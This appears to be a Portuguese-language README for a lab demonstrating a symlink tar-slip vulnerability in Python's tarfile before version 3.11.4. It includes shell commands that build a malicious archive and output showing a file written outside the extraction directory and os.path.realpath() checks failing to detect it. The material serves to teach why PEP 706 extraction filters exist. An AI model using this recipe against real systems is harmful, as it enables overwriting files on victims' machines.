
Isto é uma demonstração de como o tratamento padrão do python da extração de ficheiros tar antes do python v3.11.4 é vulnerável a um simples ataque de symlink. As instruções abaixo descrevem como criar um payload malicioso. O script untar.py demonstra como e porquê as funcionalidades adicionadas na 3.11.4 funcionam - especificamente a necessidade de invocar algo como os.path.realpath() antes de cada escrita, para todos os ficheiros. O script emprega exatamente o mesmo método de inspeção encontrado na funcionalidade extraction filter incluída no python >= 3.11.4, EXCETO que não escreve os ficheiros no disco. Como tal, mostra como os.path.realpath() é incapaz de resolver corretamente os symlinks e, assim, permitirá que os membros do tar sejam escritos fora da localização pretendida no sistema de ficheiros.
instruções (neste ficheiro) sobre como montar a sandbox e o ficheiro tar malicioso.
script python untar.py que demonstrará o 'porquê' da recente implementação da validação melhorada de tar na biblioteca tarfile do python. Devido à forma como os.path.realpath() funciona, não pode confiar nele para resolver symlinks, a menos que esses links já estejam no sistema de ficheiros. Isto significa que não pode confiar apenas em os.path.realpath() para inspecionar os caminhos dos membros do tar antes de extrair o arquivo. Em vez disso, deve chamar os.path.realpath() antes de cada escrita, para cada membro do arquivo, a fim de garantir a deteção de atividade maliciosa de links. Consulte PEP-706 e documentação do tarfile para mais informações.
snerd@jess:~$ mkdir -p lab/{lib,target}
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
transferir o untar.py deste repositório e colocá-lo no diretório ./lab
executar o script. note como é fácil enganar os.path.realpath() quando o symlink malicioso ainda não foi escrito no sistema de ficheiros de destino.
snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-
[Python-Dev] tarfile e vulnerabilidade de directory traversal
Alerta: falha de 15 anos na tarfile do Python espreita em 'mais de 350.000' projetos de código
declaração de 2022 do antigo [reformado em 2019] mantenedor da biblioteca tarlib
implementação da nova funcionalidade de filtro de extração introduzida no python 3.11.4